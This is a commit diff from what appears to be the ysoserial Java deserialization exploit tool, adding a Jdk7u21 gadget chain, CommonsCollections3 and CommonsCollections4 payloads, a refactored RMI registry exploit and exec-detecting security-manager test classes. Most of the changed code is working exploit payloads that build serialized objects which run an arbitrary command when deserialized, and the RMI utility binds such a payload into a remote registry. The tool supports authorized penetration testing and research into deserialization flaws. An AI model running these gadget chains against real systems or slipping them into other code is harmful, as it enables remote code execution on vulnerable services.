jre7u21 gadget chain, refactors

This commit is contained in:
Chris Frohoff
2016-01-26 17:18:32 -08:00
parent 4f00182efc
commit 0e99a197c6
26 changed files with 994 additions and 333 deletions
Executable
+3
View File
@@ -0,0 +1,3 @@
grant {
permission java.security.AllPermission;
};
+1 -1
View File
@@ -4,7 +4,7 @@
<groupId>ysoserial</groupId>
<artifactId>ysoserial</artifactId>
<version>0.0.2-SNAPSHOT</version>
<version>0.0.3-SNAPSHOT</version>
<packaging>jar</packaging>
<name>ysoserial</name>
+97
View File
@@ -0,0 +1,97 @@
import java.beans.EventHandler;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import javassist.util.proxy.ProxyFactory;
import javax.xml.transform.Templates;
import sun.misc.Unsafe;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.Gadgets;
public class Tester {
public static class Foo {
public boolean value() {
System.out.println("called");
return true;
}
}
public static void main(String[] args) throws Exception {
// Transient t = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Transient.class, new HashMap()), Transient.class);
//
// t.equals(new Foo());
ProxyFactory pf2 = new ProxyFactory();
ProxyFactory pf = new ProxyFactory();
pf.setInterfaces(new Class[]{ Serializable.class });
pf.setSuperclass(EventHandler.class);
pf.setUseWriteReplace(true);
pf.setUseCache(false);
// public EventHandler(Object target, String action, String eventPropertyName, String listenerMethodName) {
Templates t = Gadgets.createTemplatesImpl("hostname");
Class c = pf.createClass();
Constructor ctor = c.getConstructors()[0];
ctor.setAccessible(true);
Object o = ctor.newInstance(t, "getOutputProperties", null, null);
//Object o = getUnsafe().allocateInstance(c);
//Object o = c.newInstance();
// System.out.println(pf);
// System.out.println(pf.hashCode());
// System.out.println(c);
System.out.println(c.getName());
System.out.println(o.getClass().getName());
// System.out.println(o);
// System.out.println(Arrays.asList(c.getInterfaces()));
byte[] serialized = Serializer.serialize(o);
//
//// System.out.write(serialized);
//
try {
Object o2 = Deserializer.deserialize(serialized);
//System.out.println(o2);
System.out.println(o2.getClass());
System.out.println(o2.getClass().getName());
o2 = Deserializer.deserialize(serialized);
System.out.println(o2.getClass());
System.out.println(o2.getClass().getName());
o2 = Deserializer.deserialize(serialized);
System.out.println(o2.getClass());
System.out.println(o2.getClass().getName());
} catch (Exception e) {
e.printStackTrace();
}
getUnsafe().allocateInstance(Class.class);
}
public static Unsafe getUnsafe() {
try {
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
return (Unsafe)f.get(null);
} catch (Exception e) { throw new RuntimeException(e); }
}
}
-18
View File
@@ -1,18 +0,0 @@
package ysoserial;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import ysoserial.payloads.util.Serializables;
/*
* for testing payloads across process boundaries
*/
public class Deserialize {
public static void main(final String[] args) throws ClassNotFoundException, IOException {
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
Serializables.deserialize(in);
}
}
+34
View File
@@ -0,0 +1,34 @@
package ysoserial;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.concurrent.Callable;
public class Deserializer implements Callable<Object> {
private final byte[] bytes;
public Deserializer(byte[] bytes) { this.bytes = bytes; }
public Object call() throws Exception {
return deserialize(bytes);
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
public static void main(String[] args) throws ClassNotFoundException, IOException {
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
Object object = deserialize(in);
}
}
@@ -1,44 +0,0 @@
package ysoserial;
import java.security.Permission;
import java.util.concurrent.Callable;
public class ExecBlockingSecurityManager extends SecurityManager {
@Override
public void checkPermission(final Permission perm) { }
@Override
public void checkPermission(final Permission perm, final Object context) { }
public void checkExec(final String cmd) {
super.checkExec(cmd);
// throw a special exception to ensure we can detect exec() in the test
throw new ExecException(cmd);
};
@SuppressWarnings("serial")
public static class ExecException extends RuntimeException {
private final String cmd;
public ExecException(String cmd) { this.cmd = cmd; }
public String getCmd() { return cmd; }
}
public static void wrap(final Runnable runnable) throws Exception {
wrap(new Callable<Void>(){
public Void call() throws Exception {
runnable.run();
return null;
}
});
}
public static <T> T wrap(final Callable<T> callable) throws Exception {
SecurityManager sm = System.getSecurityManager();
System.setSecurityManager(new ExecBlockingSecurityManager());
try {
return callable.call();
} finally {
System.setSecurityManager(sm);
}
}
}
+10 -32
View File
@@ -1,16 +1,15 @@
package ysoserial;
import java.io.ObjectOutputStream;
import java.io.PrintStream;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Arrays;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import java.util.Set;
import org.reflections.Reflections;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.annotation.Dependencies;
@SuppressWarnings("rawtypes")
public class GeneratePayload {
@@ -26,8 +25,8 @@ public class GeneratePayload {
final String payloadType = args[0];
final String command = args[1];
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) {
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(USAGE_CODE);
@@ -36,8 +35,8 @@ public class GeneratePayload {
try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
final ObjectOutputStream objOut = new ObjectOutputStream(System.out);
objOut.writeObject(object);
PrintStream out = System.out;
Serializer.serialize(object, out);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
@@ -46,39 +45,18 @@ public class GeneratePayload {
System.exit(0);
}
@SuppressWarnings("unchecked")
private static Class<? extends ObjectPayload> getPayloadClass(final String className) {
try {
return (Class<? extends ObjectPayload>) Class.forName(className);
} catch (Exception e1) {
}
try {
return (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()
+ ".payloads." + className);
} catch (Exception e2) {
}
return null;
}
private static void printUsage() {
System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'");
System.err.println("\tAvailable payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(getPayloadClasses());
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
System.err.println("\t\t" + payloadClass.getSimpleName());
System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass)));
}
}
// get payload classes by classpath scanning
private static Collection<Class<? extends ObjectPayload>> getPayloadClasses() {
final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
return payloadTypes;
}
public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
}
+30
View File
@@ -0,0 +1,30 @@
package ysoserial;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.util.concurrent.Callable;
public class Serializer implements Callable<byte[]> {
private final Object object;
public Serializer(Object object) {
this.object = object;
}
public byte[] call() throws Exception {
return serialize(object);
}
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
}
@@ -1,4 +1,4 @@
package ysoserial;
package ysoserial.exploit;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
@@ -9,6 +9,7 @@ import java.util.concurrent.Callable;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Gadgets;
import ysoserial.secmgr.ExecCheckingSecurityManager;
/*
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.
@@ -19,30 +20,26 @@ import ysoserial.payloads.util.Gadgets;
*/
public class RMIRegistryExploit {
public static void main(final String[] args) throws Exception {
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[3];
final Registry registry = LocateRegistry.getRegistry(host, port);
final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
// ensure payload doesn't detonate during construction or deserialization
ExecBlockingSecurityManager.wrap(new Callable<Void>(){public Void call() throws Exception {
Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
Object payload = payloadClass.newInstance().getObject(args[3]);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
try {
registry.bind("pwned", remote);
} catch (Throwable e) {
e.printStackTrace();
exploit(registry, payloadClass, command);
}
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
Object payload = payloadClass.newInstance().getObject(command);
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
String[] names = registry.list();
for (String name : names) {
System.out.println("looking up '" + name + "'");
try {
Remote rem = registry.lookup(name);
System.out.println(Arrays.asList(rem.getClass().getInterfaces()));
} catch (Throwable e) {
e.printStackTrace();
}
}
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
View File
+60
View File
@@ -0,0 +1,60 @@
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.xml.transform.Templates;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
/*
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections3.class, args);
}
}
@@ -0,0 +1,63 @@
package ysoserial.payloads;
import java.util.PriorityQueue;
import java.util.Queue;
import javax.xml.transform.Templates;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
/*
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections4.class, args);
}
}
+86
View File
@@ -0,0 +1,86 @@
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies()
public class Jdk7u21 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jdk7u21.class, args);
}
}
@@ -1,9 +1,45 @@
package ysoserial.payloads;
import java.util.Set;
import org.reflections.Reflections;
import ysoserial.GeneratePayload;
public interface ObjectPayload<T> {
/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/
public T getObject(String command) throws Exception;
public static class Utils {
// get payload classes by classpath scanning
public static Set<Class<? extends ObjectPayload>> getPayloadClasses() {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
return payloadTypes;
}
@SuppressWarnings("unchecked")
public
static Class<? extends ObjectPayload> getPayloadClass(final String className) {
Class<? extends ObjectPayload> clazz = null;
try {
clazz = (Class<? extends ObjectPayload>) Class.forName(className);
} catch (Exception e1) {
}
if (clazz == null) {
try {
return clazz = (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()
+ ".payloads." + className);
} catch (Exception e2) {
}
}
if (clazz != null && ! ObjectPayload.class.isAssignableFrom(clazz)) {
clazz = null;
}
return clazz;
}
}
}
@@ -4,9 +4,21 @@ import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.lang.reflect.AnnotatedElement;
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Dependencies {
String[] value() default {};
public static class Utils {
public static String[] getDependencies(AnnotatedElement annotated) {
Dependencies deps = annotated.getAnnotation(Dependencies.class);
if (deps != null && deps.value() != null) {
return deps.value();
} else {
return new String[0];
}
}
}
}
@@ -1,5 +1,7 @@
package ysoserial.payloads.util;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.InvocationHandler;
@@ -24,7 +26,13 @@ import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
*/
@SuppressWarnings("restriction")
public class Gadgets {
private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
}
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
@@ -1,12 +1,13 @@
package ysoserial.payloads.util;
import static ysoserial.payloads.util.Serializables.deserialize;
import static ysoserial.payloads.util.Serializables.serialize;
import java.util.concurrent.Callable;
import ysoserial.ExecBlockingSecurityManager;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import static ysoserial.Deserializer.deserialize;
import static ysoserial.Serializer.serialize;
import ysoserial.payloads.ObjectPayload;
import ysoserial.secmgr.ExecCheckingSecurityManager;
/*
* utility class for running exploits locally from command line
@@ -15,7 +16,7 @@ import ysoserial.payloads.ObjectPayload;
public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// ensure payload generation doesn't throw an exception
byte[] serialized = ExecBlockingSecurityManager.wrap(new Callable<byte[]>(){
byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
@@ -25,12 +26,12 @@ public class PayloadRunner {
System.out.println("serializing payload");
return serialize(objBefore);
return Serializer.serialize(objBefore);
}});
try {
System.out.println("deserializing payload");
final Object objAfter = deserialize(serialized);
final Object objAfter = Deserializer.deserialize(serialized);
} catch (Exception e) {
e.printStackTrace();
}
@@ -1,34 +0,0 @@
package ysoserial.payloads.util;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
public class Serializables {
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
+215
View File
@@ -0,0 +1,215 @@
package ysoserial.secmgr;
import java.io.FileDescriptor;
import java.net.InetAddress;
import java.security.Permission;
public class DelegateSecurityManager extends SecurityManager {
private SecurityManager securityManager;
public SecurityManager getSecurityManager() {
return securityManager;
}
public void setSecurityManager(SecurityManager securityManager) {
this.securityManager = securityManager;
}
@Override
public boolean getInCheck() {
return getSecurityManager().getInCheck();
}
@Override
public Object getSecurityContext() {
return getSecurityManager().getSecurityContext();
}
@Override
public void checkPermission(Permission perm) {
getSecurityManager().checkPermission(perm);
}
@Override
public void checkPermission(Permission perm, Object context) {
getSecurityManager().checkPermission(perm, context);
}
@Override
public void checkCreateClassLoader() {
getSecurityManager().checkCreateClassLoader();
}
@Override
public void checkAccess(Thread t) {
getSecurityManager().checkAccess(t);
}
@Override
public void checkAccess(ThreadGroup g) {
getSecurityManager().checkAccess(g);
}
@Override
public void checkExit(int status) {
getSecurityManager().checkExit(status);
}
@Override
public void checkExec(String cmd) {
getSecurityManager().checkExec(cmd);
}
@Override
public void checkLink(String lib) {
getSecurityManager().checkLink(lib);
}
@Override
public void checkRead(FileDescriptor fd) {
getSecurityManager().checkRead(fd);
}
@Override
public void checkRead(String file) {
getSecurityManager().checkRead(file);
}
@Override
public void checkRead(String file, Object context) {
getSecurityManager().checkRead(file, context);
}
@Override
public void checkWrite(FileDescriptor fd) {
getSecurityManager().checkWrite(fd);
}
@Override
public void checkWrite(String file) {
getSecurityManager().checkWrite(file);
}
@Override
public void checkDelete(String file) {
getSecurityManager().checkDelete(file);
}
@Override
public void checkConnect(String host, int port) {
getSecurityManager().checkConnect(host, port);
}
@Override
public void checkConnect(String host, int port, Object context) {
getSecurityManager().checkConnect(host, port, context);
}
@Override
public void checkListen(int port) {
getSecurityManager().checkListen(port);
}
@Override
public void checkAccept(String host, int port) {
getSecurityManager().checkAccept(host, port);
}
@Override
public void checkMulticast(InetAddress maddr) {
getSecurityManager().checkMulticast(maddr);
}
@Override
public void checkMulticast(InetAddress maddr, byte ttl) {
getSecurityManager().checkMulticast(maddr, ttl);
}
@Override
public void checkPropertiesAccess() {
getSecurityManager().checkPropertiesAccess();
}
@Override
public void checkPropertyAccess(String key) {
getSecurityManager().checkPropertyAccess(key);
}
@Override
public boolean checkTopLevelWindow(Object window) {
return getSecurityManager().checkTopLevelWindow(window);
}
@Override
public void checkPrintJobAccess() {
getSecurityManager().checkPrintJobAccess();
}
@Override
public void checkSystemClipboardAccess() {
getSecurityManager().checkSystemClipboardAccess();
}
@Override
public void checkAwtEventQueueAccess() {
getSecurityManager().checkAwtEventQueueAccess();
}
@Override
public void checkPackageAccess(String pkg) {
getSecurityManager().checkPackageAccess(pkg);
}
@Override
public void checkPackageDefinition(String pkg) {
getSecurityManager().checkPackageDefinition(pkg);
}
@Override
public void checkSetFactory() {
getSecurityManager().checkSetFactory();
}
@Override
public void checkMemberAccess(Class<?> clazz, int which) {
getSecurityManager().checkMemberAccess(clazz, which);
}
@Override
public void checkSecurityAccess(String target) {
getSecurityManager().checkSecurityAccess(target);
}
@Override
public ThreadGroup getThreadGroup() {
return getSecurityManager().getThreadGroup();
}
}
@@ -0,0 +1,87 @@
package ysoserial.secmgr;
import java.security.Permission;
import java.util.Collections;
import java.util.LinkedList;
import java.util.List;
import java.util.concurrent.Callable;
public class ExecCheckingSecurityManager extends SecurityManager {
public ExecCheckingSecurityManager() {
this(true);
}
public ExecCheckingSecurityManager(boolean throwException) {
this.throwException = throwException;
}
private final boolean throwException;
private final List<String> cmds = new LinkedList<String>();
public List<String> getCmds() {
return Collections.unmodifiableList(cmds);
}
@Override
public void checkPermission(final Permission perm) { }
@Override
public void checkPermission(final Permission perm, final Object context) { }
@Override
public void checkExec(final String cmd) {
super.checkExec(cmd);
cmds.add(cmd);
if (throwException) {
// throw a special exception to ensure we can detect exec() in the test
throw new ExecException(cmd);
}
};
@SuppressWarnings("serial")
public static class ExecException extends RuntimeException {
private final String threadName = Thread.currentThread().getName();
private final String cmd;
public ExecException(String cmd) { this.cmd = cmd; }
public String getCmd() { return cmd; }
public String getThreadName() { return threadName; }
@
Override
public String getMessage() {
return "executed `" + getCmd() + "` in [" + getThreadName() + "]";
}
}
public void wrap(final Runnable runnable) throws Exception {
wrap(new Callable<Void>(){
public Void call() throws Exception {
runnable.run();
return null;
}
});
}
public <T> T wrap(final Callable<T> callable) throws Exception {
SecurityManager sm = System.getSecurityManager(); // save sm
System.setSecurityManager(this);
try {
T result = callable.call();
if (throwException && ! getCmds().isEmpty()) {
throw new ExecException(getCmds().get(0));
}
return result;
} catch (Exception e) {
if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) {
throw new ExecException(getCmds().get(0));
} else {
throw e;
}
} finally {
System.setSecurityManager(sm); // restore sm
}
}
}
@@ -0,0 +1,35 @@
package ysoserial.secmgr;
import java.util.concurrent.Callable;
public class ThreadLocalSecurityManager extends DelegateSecurityManager {
private static final ThreadLocalSecurityManager INSTANCE
= new ThreadLocalSecurityManager();
private final ThreadLocal<SecurityManager> threadDelegates
= new ThreadLocal<SecurityManager>();
public void install() {
System.setSecurityManager(this);
}
@Override
public void setSecurityManager(SecurityManager threadManager) {
threadDelegates.set(threadManager);
}
@Override
public SecurityManager getSecurityManager() {
return threadDelegates.get();
}
public <V> V wrap(SecurityManager sm, Callable<V> callable) throws Exception {
SecurityManager old = getSecurityManager();
setSecurityManager(sm);
try {
return callable.call();
} finally {
setSecurityManager(old);
}
}
}
@@ -1,17 +0,0 @@
package ysoserial;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.concurrent.Callable;
/*
* deserializes specified bytes; for use from isolated classloader
*/
public class DeserializerThunk implements Callable<Object> {
private final byte[] bytes;
public DeserializerThunk(byte[] bytes) { this.bytes = bytes; }
public Object call() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}
}
@@ -1,19 +0,0 @@
package ysoserial;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
@SuppressWarnings("serial")
public class ExecSerializable implements Serializable {
private final String cmd;
public ExecSerializable(String cmd) { this.cmd = cmd; }
private void readObject(final ObjectInputStream ois) {
try {
Runtime.getRuntime().exec("hostname");
} catch (IOException e) {
e.printStackTrace();
}
}
}
@@ -0,0 +1,18 @@
package ysoserial.exploit;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIRegistryExploitTest {
public static void createRegistry(int port) throws RemoteException {
Registry registry = LocateRegistry.createRegistry(port);
}
public static void main(String[] args) throws RemoteException, InterruptedException {
String portStr = args.length > 0 && args[0] != null ? args[0] : "1099";
int port = Integer.parseInt(portStr);
createRegistry(port);
while (true) Thread.sleep(1000);
}
}
@@ -5,6 +5,8 @@ import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIA
import java.io.File;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Arrays;
import java.util.Set;
import java.util.concurrent.Callable;
import org.hamcrest.CoreMatchers;
@@ -17,35 +19,33 @@ import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters;
import ysoserial.DeserializerThunk;
import ysoserial.ExecBlockingSecurityManager;
import ysoserial.ExecBlockingSecurityManager.ExecException;
import ysoserial.ExecSerializable;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.Throwables;
import ysoserial.payloads.TestHarnessTest.ExecMockPayload;
import ysoserial.payloads.TestHarnessTest.NoopMockPayload;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Serializables;
import ysoserial.secmgr.ExecCheckingSecurityManager;
import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
/*
* tests each of the parameterize Payload classes by using a mock SecurityManager that throws
* a special exception when an exec() attempt is made for more reliable detection; self-tests
* the harness for trivial pass and failure cases
TODO: pull out harness tests so they are only run once
TODO: figure out better way to test exception behavior than comparing messages
*/
@SuppressWarnings({"restriction", "unused", "unchecked"})
@RunWith(Parameterized.class)
public class PayloadsTest {
private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
private static final String DESER_THUNK_CLASS = DeserializerThunk.class.getName();
@Rule
public final ProvideSecurityManager psm = new ProvideSecurityManager(new ExecBlockingSecurityManager());
@Parameters(name = "payloadClass: {0}")
public static Class<? extends ObjectPayload<?>>[] payloads() {
return new Class[] { CommonsCollections1.class, Groovy1.class , CommonsCollections2.class, Spring1.class };
Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class));
return payloadClasses.toArray(new Class[0]);
}
private final Class<? extends ObjectPayload<?>> payloadClass;
@@ -59,15 +59,24 @@ public class PayloadsTest {
testPayload(payloadClass, new Class[0]);
}
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, Class[] addlClassesForClassLoader) throws Exception {
